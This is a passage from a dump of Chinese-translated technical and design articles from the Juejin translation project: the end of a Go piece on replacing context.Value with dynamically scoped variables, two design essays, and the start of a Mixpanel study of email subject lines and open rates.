来让可变状态传递。\n- 编译器将为栈分配必要的内存，初始化到它们的初始化器，并发出必要的指令，以便在写入和返回时 push 和 pop 值。为了对 panic 和过早的返回有个交代，需要类似 `defer` 的机制。\n- 这个设计和包作用域有一些令人迷惑的重叠。最值得注意的是，从 `foo.X = Y` 来看，你无法判断 `foo.X` 是否有动态作用域。就我个人而言，我会通过从语言中移除包作用域变量来解决此问题。它们仍然可以通过声明一个动态作用域指针，而不修改它来模仿。那么它的指针就是一个共享变量。但是，大多数包作用域变量的用法就仅仅是使用动态作用域变量。\n\n将此设计同 `context` 的一系列缺点进行比较是很有启发性的。\n\n- 避免了 API 的杂乱，因为请求作用域的数据现在将成为语言的一部分，而不需要明确的传递。\n- 动态区域变量是静态类型安全的。每个 `dyn` 声明都有一个明确的类型。\n- 仍然不可能对动态作用域变量表达关键的依赖关系。但也不能**没有**。最糟糕的，它们会有零值。\n- 命名冲突被消除。标识符就像变量名一样，标识符有恰当的作用域。\n- 简单的实现任然非链表莫属，并不会很低效。每个 `dyn` 声明都有它自己的链，只有头指针需要被操作。\n- 这个设计在一定程度上仍然很『魔幻』。但是『魔幻』是固有问题（至少如果我正确的理解批评的话）。魔法就是通过 API 边界透明地传递价值的一种可能性。\n\n最后，我想提一下取消机制。索然在上述文章中，作者提到了很多关于取消机制的内容，但我迄今为止都忽略了它。那是因为我相信取消机制在好的 `context.Value` 实现之上是可以实现的。比如：\n\n```\n// $GOROOT/src/done\npackage done\n\n// 当当前执行的上下文（比如请求）被取消时，C 被关闭。\ndyn C <-chan struct{}\n\n// 当 C 被关闭或者取消被调用时，CancelFunc 返回一个关闭的通道。\nfunc CancelFunc() (c <-chan struct, cancel func()) {\n    // 我们不能在这改变 C，应为它的作用域是动态的，这就是为什么我们返回一个调用者应该储存的新通道。\n    ch := make(chan struct)\n\n    var o sync.Once\n    cancel = func() { o.Do(close(ch)) }\n    if C != nil {\n        go func() {\n            <-C\n            cancel()\n        }()\n    }\n    return ch, cancel\n}\n\n// $GOPATH/example.com/foo\npackage foo\n\nfunc Foo() {\n    var cancel func()\n    done.C, cancel = done.CancelFunc()\n    defer cancel()\n    // Do things\n}\n```\n\n这种取消机制现在可以从任何想要的库中使用，而不需要确认其 API 明确支持。这让它可以很简单的追加取消的能力。\n\n---\n\n无论你喜不喜欢这个设计，至少我们不应该急于要求删除 `context` 包。删除它只是一种可能解决它缺点的方法之一。\n\n如果移除 `context.Context` 的这一天真的来了，我们应该问的问题是『我们是否想要有一个规范的方法去管理请求作用域的值，其代价又是什么』。只有这样我们才能开始探讨最佳实现会是什么样的，或者是否移除它。\n\n\n  ---\n\n  > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n  "
  },
  {
    "path": "TODO/why-design-principles-shape-stronger-products.md",
    "content": "> * 原文地址：[Why design principles shape stronger products](https://uxdesign.cc/why-design-principles-shape-stronger-products-ae677bdd831b#.20fz1utbj)\n* 原文作者：[Jessie Chen](https://uxdesign.cc/@lovejessiecat)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[rottenpen](https://github.com/rottenpen)\n* 校对者：[mypchas6fans](https://github.com/mypchas6fans) [Graning](https://github.com/Graning)\n\n# 好的设计准则是如何塑造更强大的产品形态的\n\n我们设计团队没有任何设计原则，这导致我们很难评判设计。\n\n我的工作是为房地产专业人士设计/改善一个旧的 CRM 系统。我们常常会碰到设计的瓶颈，因为我们没有任何设计原则可做参考。我们的用户有着自己对产品喜好的标准。有的用户觉得这个系统是一个能创造销售机会，推进业务和管理联系人的好工具。但有些人会认为这系统奇怪且不易操作，会使完成任务变得繁琐费时。是什么限制了它，让它需要改进那么多东西呢？\n\n#### 新功能 vs. 存在的问题\n\n我们与我们的研究团队合作，对用户进行测试与访谈。包括测试已有功能和重新设计原型。我们收集用户的反馈，并进行分类，以明确或确认适用性问题。我们进行了一次又一次的用户测试，设计和迭代。然而，当我们努力提高产品的同时，新的需求往往会被提出。这可能是令人沮丧的，尤其是在已经出现适用性问题的页面上。你添加的函数越多，它就会变得越复杂。\n\n#### 传统的设计模式\n\n在工作中，我们有我们的传统设计模式。因此，新的设计往往都有着一致性。从理论上说，一致性是必要的，因为我们不想阻碍用户流畅地使用我们的界面。与此同时，我们希望页面跳转更快，任务点击更少。但是这样就必须牺牲一致性。那我们该怎么办呢？一致性与效率哪个更重要呢？\n\n#### 用户需求 vs. 设计需求\n\n通过用户测试，我们了解到用户的需求往往和设计的需要不一致。承认吧，我们经常会基于假设进行设计。我们认为，我们清楚用户流程而无需进一步进行研究。实际上我们并不总是对的。事实教会了我们要有以人为本地思考“为什么”的意识。为什么用户就是不明白呢？为什么他们找不到这样一个明显的按钮呢？为什么他们不想使用我们认为有用的功能呢？为什么他们不喜欢现有的功能？那么多的为什么一直困扰着我们。\n\n我们了解到，该公司建立了多年的 CRM 客户关系管理。它从版本 1 开发到了如今的版本 3 。为什么现在版本的工作模式没有做成跟过去版本一样呢？我们从这里开始意识到，用户是不同的。当你对待不同的用户，先去了解他们的需求是很重要的。我们需要了解我们为谁设计。确保你知道他们的用户背景，以及他们背后的故事等。\n\n### 启示\n\n我们得出的结论是，我们需要建立一套设计原则。我成立了一个设计团队会议，并要求每个人都提出自己的想法。我推荐了一个网站叫 [ Design Principles FTW ](http://www.designprinciplesftw.com/)来获取灵感。你可以在列表上查看到诸如谷歌， Facebook ，苹果等公司的设计原则。\n\n\n\n\n![](http://ac-Myg6wSTV.clouddn.com/a13b7b74f03349e04055.png)\n\n\n\n\n\n\n\n### 明确设计原则\n\n通过报告，我们想到了很多关于设计原则实实在在的理念。我们需要更深一层地去明确它们是什么。我设置了第二次会议，并要求每个人都在便签上写下自己的原则。然后，我们都将它挂在墙上将他们分组和按重要性排名。\n\n\n\n\n![](http://ac-Myg6wSTV.clouddn.com/f6d978f0db09b523a34c.jpeg)\n\n\n\n\n\n\n\n#### 马斯洛的需求层次结构理论\n\n当我们开始找到设计原则应该是什么。我们需要找到更好的方法来将它们可视化。 在六月的时候, 我写了一篇 [关于 Lyft 重新设计的文章](https://uxdesign.cc/lyft-re-design-case-study-3df099c0ce45#.x9kc0h6om) 并且讨论了他们的设计原则。 他们使用了一个金字塔模型 ([马斯洛的需求层次理论](http://www.simplypsychology.org/maslow.html)) 来明确重要性的排名。 我从中受到了启发，也想这样试试看。\n\n我打印出我们创建的设计原则并剪裁成一张张纸片。我在白板上画出了一个巨大的金字塔，并把需求层次理论放在它的旁边。我们每个人都得到了一套设计原则，将他们作为金字塔的基础以我们需要的方式进行排名。\n\n\n\n![](http://ac-Myg6wSTV.clouddn.com/f15e77f06b873f017603.jpeg)\n\n\n\n设计原则的优先级 (round 2)\n\n\n\n#### 哎呀，发生冲突了\n\n我们意识到有一些冲突。我们不能决定哪个更重要，一致性或效率？我们讨论了很长一段时间。最后我们决定将一致性和效率组合在一起。因为根据你的项目，你的工作往往不同。例如，我们的工程师喜欢一致性，因为他们已经建立好了一个风格库。但作为设计师，我们能理解我们的用户，因为他们（被迫）得多点鼠标。我们需要用户留存，必须吸引竞争对手的用户使用我们的产品。我们知道一些旧的模式阻止我们完成它，所以为什么不探索实际上可以帮助他们更有效运行他们业务的选项呢？如果有一个需要优先考虑效率而不是一致性的情况呢？\n\n\n\n\n\n![](http://ac-Myg6wSTV.clouddn.com/2d074f803563186941ce.jpeg)\n\n\n\n[图片来源](http://ccwatraining.org/avoiding-conflict-is-not-the-goal-resolving-conflict-is/)\n\n\n\n**这是我从设计活动中所学到的东西:** 如果特定的传统模式无法正常工作，请不要害怕创建新的模式。请与工程师和产品经理沟通，帮助他们了解特殊的需求。如果顺利的话，你可以再下一个迭代中得到新的设计模式。\n\n### 确定设计原则\n\n我们是如此兴奋！然后，我们停了下来。“合作”存在于每一步中，我们应该把它从金字塔中取下来。美是一种有效的形容词，但是我们为什么不让它听起来更文艺一些呢？\n\n\n\n\n\n![](http://ac-Myg6wSTV.clouddn.com/6be67aa77b71124cc69e.jpeg)\n\n\n\n优先的设计原则(round 2)\n\n\n\n我们有一个想法，将可视化的金字塔放在图片例子的旁边。我想到了汉堡包的组成，面包，肉和酱。我尝试了一些想法，觉得肉太具体了。我用“馅料”替代“肉”，因为它更广泛，能更好表达心理需求。\n\n**最后：**\n\n*   了解你的用户= **面包** (基础需求)\n*   清晰 + 一致 & 效率= **馅料** (心理需求)\n*   美学 = **酱料** (自我实现的需求)\n\n\n\n\n\n\n\n* * *\n\n\n\n\n\n\n\n#### 设计原则\n\n如图，设计原则这个概念应该是不言自明的，同时每个原则的重要性都是可视化的。\n\n\n\n\n\n![](http://ac-Myg6wSTV.clouddn.com/dd597a25d6cbeed4d22f.png)\n\n\n\n\n\n\n\n### 定义:\n\n#### 清楚你的用户\n\n\n*   **明白用户的需求 ** 在能够提供正确的解决方案之前了解他们的需求。通过采访了解到用户的目标和遇到的困难。\n\n*   **通过契合用户需求来表达对用户的理解 **了解用户的需求和实际行为。处理好用户的期待，同时理解你不是你的用户。\n\n\n\n\n\n\n\n\n\n* * *\n\n\n\n\n\n\n\n#### 清晰\n\n*   **清晰是连接所有元素的桥梁 ** 要考虑到页面上项目之间的关系和基于重要程度来布局页面。\n*   **创建结构和等级系统 ** 提供及时的反馈，从而形成对制度的信心。用户应该知道他们采取的每一个行为的结果。\n\n\n\n\n\n\n\n\n\n\n\n* * *\n\n\n\n\n\n\n\n#### 一致\n\n*   **一致的****界面 **  允许用户形成使用模式。使用标准的控制和手势，使他们的行为如预期一致。\n*   **一致的语言 ** 当制定一个特定的行为或对象和通信部件时，使用相同的术语以避免混乱。\n*   **一致使用既定的模式 ** 用户寻找他们已经知道的模式，以缩短学习曲线，并了解整个程序。 \n\n\n\n\n\n\n\n\n\n\n\n* * *\n\n\n\n\n\n\n\n#### 高效\n\n*   **用户体验是无缝的 ** 它工作在不同尺寸的屏幕，不同的平台，不同的产品中。当人们想去使用这个应用程序，准备花时间去学习使用它时，效率就显得格外重要了。\n*   **高效的系统能节省你的时间 ** 效率反应了系统通过设计任务的最短时间，最少次数的点击来达成用户目的的能力。\n*   **利用技术驱动效率 ** 使用技术来适应现需的功能，而不是让用户适应电脑。\n\n\n\n\n\n\n\n\n\n\n\n* * *\n\n\n\n\n\n\n\n#### 美学\n\n\n*   **第一印象 ** 一个好看的系统可以增进人们对这个系统的信心与信任。\n*   **美学是一种人们意识到的，想要的和需要的品质 ** 它使得无论在生活中还是设计中，都因美学充满乐趣。\n*   **令人愉悦 ** 当你的产品好用，你的用户会期待用到你的产品。\n\n### 重要性\n\n最近，我收听了一个播客[ Julie Zhuo ](https://medium.com/u/b8a4e5ae7490)，她是脸书网的产品设计副总裁。她谈到及早启动建立一套清晰的设计原则是多么重要。她的见解增强了我的信心，相信我们的原则会使我们的产品更好。\n> 设计原则的目的是让员工统一认识，什么是重要的。\n> 一套好的原则是这样的，所以每个人都能够感同身受，什么对我们来说是重要的，什么对我们来说是真实的，当新的人加入，或当你的公司扩张，设计原则可以让新人们更容易了解公司里独有和重要的理念，也是人们做事的方式和价值观所在\n\n>  我们的关注点很简单。我们关心的是人。在必须做出决定的时候，你必须做出权衡，作为一个团队或一个公司需要优先考虑到什么？该怎么做？你最关心的是什么？\n\n要收听完整的播客，请单击下图。\n\n[![](https://i1.sndcdn.com/artworks-000166652068-8clzcy-t500x500.jpg)](https://w.soundcloud.com/player/?referrer=https%3A%2F%2Fuxdesign.cc%2Fmedia%2Fd1a2603d7df6acc2f23c9b9f9c7cf402%3FmaxWidth%3D500&show_artwork=true&url=http%3A%2F%2Fapi.soundcloud.com%2Ftracks%2F268298285)\n\n### 展望\n设计原则可能并不适用于每个公司工作。虽然对我们来说，有一套完整的设计的原则是有助于我们团队确立一致的设计方向。我们需要原则来明确方向和减少歧义。\n>有着分量和确定性的设计原则往往是靠谱的。外观和感觉不过是些肤浅的东西一个伟大的设计师会把工作建立在持久的原则之上，不管做一个决定，还是一千个决定，都不会像墙头草一样随风倒。\n我们期待着在实践中能应用到我们的原则。我希望能够在不久的将来分享一些个人的见解。\n"
  },
  {
    "path": "TODO/why-design.md",
    "content": "* 原文地址：[ Why Design ](https://medium.com/the-year-of-the-looking-glass/why-design-f3c8546c9672)\n* 原文作者：[ Julie Zhuo ]( https://medium.com/@joulee)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[王子建](https://github.com/Romeo0906)\n* 校对者：[Zhiwei Yu](https://github.com/Zhiw)、[Mark](https://github.com/marcmoore)\n\n# 为何而设计？\n\n我成长中收到的最好的礼物来自于生活在日本的叔叔。\n\n每隔一两年，他都会穿着那件粗花呢的西装戴着厚厚的眼镜来我家探短亲。他没有孩子而且好像也不了解孩子，所以他和我之间的互动就仅限于拍拍头或者握手。在他富裕的时候我们一家还在学生贷款中挣扎，他总是会从日本给我们带礼物过来，那片土地充满了摩天大楼、眼睛雪亮的卡通人物还有我最喜欢的食物：拉面。\n\n我家的第一台数码相机就是叔叔送的。叔叔还送过一个光滑的砖头大小的淡黄色盒子，里面装满了你所见过的最精美的迷你办公用品套装——一个拇指大小的订书机、一小瓶透明胶水、一卷橡皮擦大小的卷尺和一把造型雅致的剪刀——它们都安静地排列着，像完美无瑕的珠宝。我从未这样深爱过办公用品，恐怕以后也很难再有了。\n\n但是没有礼物比得上我在十一二岁的时候所获得的礼物。当时我正在卧室看书、思考自己的事情，叔叔走了进来默默地递给我一个改变人生的包裹。\n\n那是一台索尼随身听。\n\n**等等**，你或许会说。**那又怎么了？**每个人长大的时候都有一台索尼的随身听。\n\n哈，但是那并不是**这款**索尼随身听，它来自原厂、有着我从未在美国见过的样式、有着流线机型和凉爽的金属质感。它拥有一种色调，我当时叫作黄色，但是比常见的黄色更亮更绿。我当时并不知道怎么形容，但是现在我知道了，那种颜色被称为“橄榄绿”。\n\n那是我拥有过的最具意义的东西，并不仅仅因为它能播放我从电台中录下的混合磁带，在我看来，它的每一个细节都是那么的完美无瑕。\n\n每个晚上我都会抚摸着它凉爽有着金属质感的外壳，听着我最喜欢的 Jocelyn Enriquez 的歌声入眠。每次换磁带的时候，我都会惊讶于它那美丽的金属铰链简直和钟表机芯一样复杂。它比我看到的其他随身听都要小，仅仅只比磁带大一点，正好能装进夹克的口袋中。按上面那些光滑的铬金属的键简直是一种享受，而我认为最酷的事情要数它的耳机上自带线控了。还有一个惊为天人的设计，随身听上有一个可旋转的插件能够装下一节 AA 电池来延长播放时间。\n\n> 生活中有许多许多我赞赏的东西，它们实现了我的目的，节省了我的时间也让我停下来欣赏他们的美丽。\n\n但是仅有很少让我叹为观止的东西，因为它们极大地超乎了我的想象。\n\n那是我和我的随身听的故事。那时，音乐在我的生命中的重要程度令人难以置信，我想象不到更好的能够连接我和生命的乐章的工具。另外，它比朋友们的随身听都要好得多，这让我觉得我是学校中最酷的孩子。\n\n即使在那时，我也常常在床上凝视着上方，带着耳机，想象创造它的人。他们是谁，用了怎样的魔法才创造出了对我如此重要的东西？\n\n---\n\n成为沉迷于电脑的青年的一个副作用就是你将承担起家里所有的技术活，即使我妈是专业的电脑程序员也不例外。\n\n“Julie！”她会在刚刚破晓的早上就打电话来，“别忘了调家里的钟表，包括 VCR 上的！”\n\n或者\n\n“Julie！你能帮我清掉这盘磁带然后录制一集新节目吗？”\n\n或者\n\n“Julie！我需要这些照片的副本，你能拷贝到光盘上吗？”\n\n我会反击她完全有能力自己完成，但是她总有各种理由。一、她害怕把事情弄砸了，二、那会耽误她很久因为她没我这么有技术天分，三、难道我就不能毫无怨言地做一两件有意义的事么？\n\n所以我要调整钟表、VCR，烧录 CD，我会翻白眼也会抱怨，但老实说做这些事情让我感觉到自己与众不同。这些都是很复杂的工作，但是我却驾轻就熟。\n\n我很自豪地给自己戴上奖章，我是其中一个**技术天才**。\n\n---\n\n**设计师**意味着什么呢？\n\n是一种特定的对视觉美的关注，比如两行字母的间距、漂亮的扶椅的线条、金属外壳的曲线？\n\n是一种特定的对简单和美的**本质**的深刻**理解**？\n\n是一种特定的对他人感受的直觉：通过多年来的见闻和感知，判断当人们接触一个事物、思索或体验时会产生怎样的感受吗？\n\n是一种驾轻就熟的装扮——比如在复杂的轮廓中使用朴实的中性色和厚重的边缘？\n\n我们对“设计师”这个词赋予了怎样的含义呢？\n\n---\n\n大四的时候，我被指派（可能是课堂作业，译者注）阅读 Don Norman 的*The Design of Everyday Things*（日常用品的设计）。他曾在一个非常著名的文章中讨论过关于门的设计，试想一下，一个装有 U 型把手的门，却贴着**推**，你会怎么做？\n\n约一半的人会去试着拉门，因为那是门把手在暗示他们：**赶快拉我！我是一个 U 型门把手！**但当门并不能被拉动的时候，他们可能就面带愠色了。**这玩意儿坏了吗？怎么回事儿？**然后，他们才看到标志提示他们做错了。他们会觉得自己有点犯傻了。\n\n我们都遭遇过这种诺曼式的门，很多时候，我们内心都略有紧张，**我应该先看标志的**，**我做错了，我不够聪明。我搞砸了。这太难学了。我一辈子也学不会。**\n\n*The Design of Everyday Things* 给了我一种不同的视角\n\n**那不是我的错**\n\n明明是设计出了问题，却为什么让人觉得是自己蠢呢？\n\n---\n\n当你在**寻求**解决方案时，你会怎么想？通过放大镜寻找或者它自己会从迷宫中浮现？摸着石头过河，直到你情不自禁地笑出来，看到那点星星之火！那是我们正在苦苦寻找的光明吗？\n\n当你**实现**解决方案时，你会想到什么？小工具和齿轮？夜深人静时的灵光一现？紧张工作几个小时搭建一个精妙地装置来实现我们迄今闻所未闻的功能？\n\n当你**设计**解决方案时，你大脑中会出现什么？\n\n这是我的答案：我们要深思熟虑并且不断地探索。假如我们对设计进行真实世界里的压力测试时，正好遇到一名行色匆忙心无旁骛的年轻女孩。她不会想到我们的，她只想着她接下来要做的事——给教授发邮件、准备期中考试、洗衣服准备周末的聚会。而且我们需要为她做好万全准备，无微不至。（意为设计门把手的时候应该为顾客考虑，译者注。）\n\n至少，我们要达到她的期望，不让她皱眉、面起愠色。她能顺利通过那些门然后继续做该做的事。\n\n最好，我们能吸引她的注意。她会停下来然后思考，我们的设计让她很意外，所以她会牢牢记住。\n\n> 设计即是策划我们想要的结果\n\n> 那些计划、架构和建造的人，都是设计师。\n\n---\n\n我已经没有我那黄绿色的随身听了。\n\n如果我是那种多愁善感类型的人，我将会把它留作纪念，像其他人保留着老式的录音机或者手摇电话机一样。\n\n事实上，我们都渴望未来的东西，没有事物能永远让我们叹为观止。我们一开始感到惊奇，之后就对它习以为常了，于是我们开始对它有了期待。\n\n我为了一个丑陋的塑料的光碟随身听放弃了钟爱的随身听。这并不是一个艰难的决定，世界上最好的卡带随身听跟 CD 播放器比起来，就像是把最好的步兵放到装甲骑兵中一样，根本没有可比性。需要若干秒来回退或者快进来得到一首特定的歌曲在一键切换面前根本不屑一击。\n\n某些方面，这道理是苦乐参半的。韶华易逝。你创造了一个可以改变世界的发明，不久，世界改变了，而它也不会像当初一样那么令人赞赏了。假以时日，我们总是得不到满足。\n\n但是，我还是持乐观的态度。\n\n我认为所有的设计师都要这样。\n\n如果你也相信感到困惑不是你的错，如果你也感觉“有天分的人”是一个很扯淡的观点，如果你也认为世界上每个人都有能够做些什么，那么你就是相信我们能够设计地更好。\n\n某个地方，正有个女孩盯着天花板，她已经准备好对某些事物叹为观止了。\n\n我们能设计得更好，我们来了。"
  },
  {
    "path": "TODO/why-do-people-open-emails.md",
    "content": "> * 原文地址：[Why do people open emails?](https://blog.mixpanel.com/2016/07/12/why-do-people-open-emails/)\n* 原文作者：[Justin Megahan](https://blog.mixpanel.com/)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[Deadlion](https://github.com/Deadlion)\n* 校对者：[Aberfield](https://github.com/lk415064460), [mypchas6fans](https://github.com/mypchas6fans)\n\n# 人们为什么会打开你的营销电子邮件？\n\n人们为什么打开电子邮件？每次将文章推送给 _The Signal_ 的订阅者我都会思考这个问题。当文章到达你的收件箱，还有共享谷歌文档和其他简讯可以选择，是什么让你打开邮件然后阅读它呢？\n\n我听说过最佳做法，我努力坚持下去，但是我忍不住想它们是否真的有区别。但是要搞清楚这些的话，我需要数据，很多很多的数据。\n\n所以，**分析了来自 Mixpanel 85,637 个活动的主题行 - 总共发送 17 亿封电子邮件，其中 2.32 亿封被打开**，时间跨度从 2012 年 6 月到 2016 年 5 月，我期待着为这个一直困扰我的问题找到答案——究竟是什么让人们打开一封电子邮件？\n\n有件事情值得一提的是，Mixpanel 活动不一定是一次性群发给整个邮件列表的。它们可以这么做，但更多的时候它们是事件驱动的电子邮件，意味着用户的某些动作触发了邮件通知。举个例子，一个活动可能把最近30天内创建账号，但是最近7天没有登录过的用户作为目标用户。然后在该活动有效期内，只要用户符合要求，他们就会收到电子邮件。\n\n好吧，下面就是我所学到的东西。\n\n## 大多数邮件是没人看的\n\n出门右拐，不管其他的数据。我们都知道，这是个残酷的现实，就是大多数邮件不会被打开。我关注的那些邮件跨行业，有着不同的目的。它们包含了一切东西，当用户完成某项特定任务而发送非常有针对性的邮件，或非常广泛的\"欢迎\"或电子商务销售电子邮件。**所有这些发送的邮件打开率为 13.53%**\n\n#### 所有活动\n\n85,637 活动数  \n\n232,706,223 打开数  \n\n1,720,490,613 发送数  \n\n**13.53% 打开率**\n\n但有些活动确实不符合平均比例，而是比别人更好，超过 100 位接收人的 49k 个活动中，**五分之一打开率超过 50%**。同时，**超过五分之二打开率低于 10%**。\n\n所以，差异还是蛮大的，显然这里有很多因素在影响着结果。只控制主题行，不同主题对整体打开率有怎样的影响呢？\n\n## 主题行不能太长\n\n很长一段时间，我听说主题行字符长应该是[在 40 和 60 之间](http://www.universalwilde.com/blog-0/bid/140949/5-Tips-That-Will-Get-Your-Email-Campaigns-Read)。比如，我们最近发出的一篇文章[“Survival Metrics”](https://blog.mixpanel.com/2016/06/23/survival-metrics-will-help-company-survive)，它的电子邮件主题行长 42 个字符：\n\n_How will you help your company survive?_\n\n这儿还有另外一个典型 [our profile of Hunter Walk](https://blog.mixpanel.com/2016/07/06/hunter-walk-early-stage-venture-capital/?discovery=homepage%20feature)，这篇就超过了范围, 65 个字符:\n\n_Hunter Walk grew YouTube by 40x. Here’s his advice to startups_\n\n但是通过分析大数据中的打开率和主题行字符数的相关性发现，40-60 字符数的“标准”很明显有点过时了。\n\n[![](https://blog.mixpanel.com/wp-content/uploads/2016/07/subject-length-ctt-228x300.png)](https://twitter.com/intent/tweet?text=Why%20do%20people%20open%20emails%3F%20%20https%3A%2F%2Fblog.mixpanel.com%2F2016%2F07%2F12%2Fwhy-do-people-open-emails%2F%3Futm_campaign%3D%26utm_source%3Dtwitter%26utm_medium%3Dsocial%26utm_content%3D%20pic.twitter.com%2FnY6uBYBnKd)  \n\n\n虽然你可能不想再读 80 字符的主题行，桌面客户端仍然做了大量的工作全部显示它们。但是越来越多的时候，我们是在移动设备上阅读邮件。在 app 里，像 Google 的 Inbox，主题行被截断成 27 个字符，后面加上一个省略号。所以我们上面例子的主题行会变成这样：\n\n_How will you help your comp…_\n\n_Hunter Walk grew YouTube by…_\n\n最佳做法绝对是少于 40 字符。想想我们现在是如何阅读邮件的，就不会觉得惊讶了。\n\n让我们来看看截断的主题行的打开率，**主题少于 30 字符的有 15.05% 的打开率，那些主题超过 30 字符的打开率为 12.92%**。\n\n![IMG_0394](https://blog.mixpanel.com/wp-content/uploads/2016/07/IMG_0394-300x154.png)\n\n#### 小结\n\n尽量简短。超短。而当主题行超长了，至少要确保前 30 个字符是诱人且有足够的信息让移动端读者有欲望打开它。\n\n## 个性化有实质性的帮助吗?\n\n另一项标准的建议是个性化的电子邮件。你可以使用任何一项你收集到的和邮件地址相关的信息，但最常见的还是收件人的姓名。个性化的核心思想就是通过使用个性化的东西，主题行显示给收件人更多的照顾，她就更有可能将其打开。\n\n但是，当实际上我看到数据的时候，并不是所有个性化都有这种效果。\n\n#### 包含变量\n\n6,117 活动数  \n\n14,361,034 打开数  \n\n153,694,066 发送数  \n\n**9.34% 打开率**\n\n\n我分析了包含变量的 7% 的活动，但是打开率非常低，只有 9.34 %，远低于 13.53% 的整体打开率。\n\n但是当我审视自己的个人 Gmail 时，这么低的打开率也就不足为奇了。我看到大量 “personalized(个性化)” 邮件。很少一分部我会打开，但是大多数我都不会。\n\n更重要的是，我的名字在主题行不再值得关注了。邮件合并并不是什么新东西，像 Andrew Chen 在[增长骇客](https://blog.mixpanel.com/2016/03/16/andrew-chen-and-the-state-of-growth-hacking/)中提到的战术衰减。我敢肯定为每个用户定制电子邮件仍然有增长的空间，但是需要比名字更个性点。\n\n#### 小结\n\n如果你真的想让主题行更加引人注目，包括一个名称变量。但是不要因为你可以放就一定要放一个名字在那。五年前，可能在主题行看到自己的名字会觉得与众不同，但是现在真的过时了。\n\n## 别嚷嚷，矜持点。\n\n之前的最佳实践现在都有些过时了，那来看看有哪些习惯是应该避免的：惊叹号。很长一段时间里，大家都形成一个共识，带感叹号的都是垃圾邮件，应谨慎使用，否则你的邮件有被垃圾邮件过滤器拦截的风险。然而，我发现很多主题行仍然使用感叹号。看看下面的数据：\n\n#### 包含 ‘!’\n\n22,844 活动数  \n\n62,989,308 打开数  \n\n576,772,852 发送数  \n\n**10.92 % 打开率**\n\n看起来像是这么回事，老实说，打开率并没有我预期的打击那么大。当我开始看到有多个感叹号的主题行，打开率骤降。带三个感叹号的主题行遭受的打击最大，打开率下降到凄惨的 7.59%。\n\n那么，如果一个感叹号是垃圾，那三个感叹号简直就是粗鲁。那么来对比下礼貌的词语，如“谢谢你”、“请” 和“对不起”，来看看礼貌对打开率的影响。\n\n#### 包含 ‘谢谢’, ‘谢谢你’, ‘请’, ‘对不起’\n\n1,478 活动数  \n\n3,911,452 打开数  \n\n17,022,299 发送数  \n\n**22.98% 打开率**\n\n####\n\n正如你所看到的，它是一个相当可观的增加。原来礼貌点很有帮助。\n\n#### 小结\n\n采取一些数据驱动的建议：不要叫喊，始终注意自己的礼貌。真诚的使用“请”、“谢谢”和“抱歉”等礼貌用语。\n\n## 好奇心，想知道\n\n在 Buzzfeed 的时代，你会经常看到“你永远不知道接下来会发生什么”这样的标题党。但是他们总能吸引人的眼球是有原因的，虽然其背后缺乏有价值的东西：它们很诱人，它们捕获了你的好奇心，想知道吗？快来点击吧。\n\n看看那些带个问号或\"如何\"的主题行，挑逗着读者打开后面的答案。\n\n#### 包含 ‘?’\n\n10,724 活动数  \n\n27,387,349 打开数  \n\n180,003,478 发送数  \n\n**15.21% 打开率**\n\n#### 包含 ‘如何’\n\n701 活动数  \n\n2,747,926 打开数  \n\n13,302,419 发送数  \n\n**20.66% 打开率**\n\n一个问号能提升一些打开率，但是一个像“如何”这样的短词通过引诱点击让读者知道点击后的内容。它们能有更高的打开率。\n\n#### 小结\n\n让读者们知道打开后能得到什么，比如回答一个问题，引诱他们打开它。\n\n## 表现事情的紧迫性?\n\n另一个最佳实践的建议是使用“今天”和“现在”这类词，创造紧迫感。在与日渐高涨的电子邮件浪潮抗争的今天，已经不是我们有意识的决定不打开某封电子邮件，通常我们只是没有理由立即打开它。然后老的邮件就被新的邮件所淹没，所以很多邮件从来没打开过。\n\n在主题行中创造些紧迫感来制造点压力，当用户第一次看到电子邮件的时候可能回打开它。但是实际上真的有用吗？\n\n#### 包含 ‘今天’, ‘明天’, ‘今晚’, 或者 ‘现在’\n\n4,669 活动数  \n\n11,979,604 打开数  \n\n94,559,225 发送数  \n\n**12.67% 打开率**\n\n显然没有。事实上，它比平均打开率略低。创造一种紧迫感似乎并不足以伤害到开放率，但它肯定也不会让人们急于打开电子邮件。\n\n#### 小结\n\n只要适当的使用“现在”和“今天”之类的词是没问题的，但是不要仅仅因为你觉得这些词会让人们打开你的邮件而硬塞这些词。\n\n## 用上 $$$\n\n还有些大促销的电子邮件，试图带动收入增长。这些邮件不可能总是你喜欢接受的，但是他们发送的理由只有一个：挣你的钱。\n\n#### 包含 ‘优惠’, ‘优惠码’, ‘优惠券’, ‘大减价’, ‘$’, ‘折扣’\n\n9,370 活动数  \n\n21,900,339 打开数  \n\n211,747,667 发送数  \n\n**10.34% 打开率**\n\n说实话，比我预期的要高。当你不想看到这些促销的时候这些就是垃圾邮件。所以，根据促销活动或者发件人，很多人可能还愿意在收件箱中看到包含这些词语的主题的邮件。至少直接表明了邮件的目的。也许诚实不负有心人。\n\n但最烂的推销词是“免费”。一般要避免用它，它会被垃圾邮件过滤器屏蔽。我完全理解。但我仔细查看后发现这一惯例在数据面前站不住脚。\n\n#### 包含 ‘免费’\n\n2,017 活动数  \n\n6,272,514 打开数  \n\n36,312,363 发送数  \n\n**17.27% 打开率**\n\n这很难理解啊。前面我们可能看到一些老的最佳实践已经过时，但这个结果让我大吃一惊。也许我们反对使用“免费”这么久，可能有些矫枉过正了，那些敢用的人受益了。我也搞不懂为什么，但不管怎样，“免费”这个词还是有用的，所以我们再推翻一遍之前的说话。\n\n#### 小结\n\n这里要记住重要的一点，对于促销邮件来说，打开速度并不能代表什么，还是得看结果——收入的增长。不过出乎意料的是，带“大减价”和“优惠”这类词的促销邮件维持着不俗的打开率，而带“免费”的邮件打开率却大幅的增加。\n\n## 